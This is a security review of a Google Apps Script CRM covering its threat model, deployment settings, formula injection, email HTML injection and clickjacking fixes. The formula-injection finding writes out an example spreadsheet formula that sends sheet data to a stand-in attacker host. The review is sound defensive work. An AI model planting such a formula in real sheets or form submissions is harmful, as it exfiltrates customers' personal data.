🔐 Security review: Service Pro CRM (Google Apps Script)

Pre-deployment review of `Code.gs`, `Api.gs`, `WebApp.html`, `Sidebar.html`.

Threat model

- Deployed as a web app **Execute as: Me · Access: Only myself** → only the owner (signed into their own Google account) can reach it. Each buyer runs their **own** instance with their **own** data. There is no shared server and no multi-tenant surface.
- Data handled: customer PII (names, phones, emails), quotes/invoices, and the ability to send email, and create Drive files, Calendar events, and a public lead Form.
- Main untrusted input vector: the **public Google lead-capture Form** (anyone with the link can submit). Everything else is entered by the owner.

✅ Strong points (verified)

- **No external network calls.** No `UrlFetchApp`, `fetch`, or third-party endpoints anywhere, so the code **cannot exfiltrate data**. Everything stays in the owner's account.
- **No hardcoded secrets/keys/tokens.** Auth is entirely the owner's own Google OAuth.
- **Web app UI escapes data**: list/detail rendering uses an `esc()` helper, so a malicious name/service won't run as script in the app (DOM XSS mitigated).
- **Invoice PDFs** are saved to the owner's private Drive (not shared).

Findings & fixes

1. 🔴 Deployment access setting is the critical control (CONFIG, must verify)

"Execute as Me / **Only myself**" is what keeps the whole CRM private. If a buyer deploys as **"Anyone"**, every customer record becomes readable **without authentication**, and all server functions (which can send email as them and edit their data) become callable by anyone with the URL. **Mitigation:** the deploy guide + 6-taps card call out "Only myself" explicitly; `DEPLOY.md` now flags it as security-critical. *(No code change; it's a setting.)*

2. 🟠 Formula / CSV injection via untrusted input: FIXED

A value like `=IMPORTXML("https://evil.com?d="&TEXTJOIN(",",1,A:A),"//x")` submitted through the **public lead Form** would land in the sheet and, because Sheets auto-evaluates strings starting with `= + - @`, run as a live formula when the owner opens the sheet, exfiltrating data to an attacker (or `=HYPERLINK` phishing). **Fix:** `buildCRM` now sets the free-text columns

(Leads/Clients/Jobs/Estimates/Invoices/Line-Items names, phones, services, notes) to **plain-text format** (`@`), so submitted values can never become formulas.

3. 🟠 HTML injection into outbound emails: FIXED

Email bodies (follow-up digest, review requests, appointment reminders, invoice/estimate emails) interpolated names/services directly into HTML. A Form-submitted name containing markup could inject HTML into the owner's inbox (digest) or a customer's email. **Fix:** added `escHtml_()` and applied it to all user-derived values in every email/PDF body.

4. 🟠 Clickjacking (permissive framing): FIXED

`doGet` set `XFrameOptionsMode.ALLOWALL`, letting any site embed the app in an iframe. **Fix:** removed it, so the default blocks third-party framing. The app is opened directly.

Residual / accepted risks

- **Broad OAuth scopes** (Gmail send, Drive, Calendar, Forms, Sheets) are required for the features. Trust rests on the code making **zero external calls** (verified above); buyers can read the code; nothing phones home.
- **All server functions are callable via `google.script.run`.** Acceptable because access is "Only myself" (single user = the owner). This is another reason #1 matters.
- **Public Form = spam surface.** Someone with the Form link could submit junk leads. Low impact (no code execution now that #2/#3 are fixed); the owner can pause the Form anytime.
- **MailApp daily quota** (~100/day consumer Gmail) is a natural rate limit / mild DoS bound.

Bottom line

Safe to deploy **as long as it's deployed "Only myself."** The exploitable issues (formula injection, email HTML injection, clickjacking) are fixed; the remaining items are inherent Google-platform properties, documented, and low-risk for a single-user, no-external-calls app.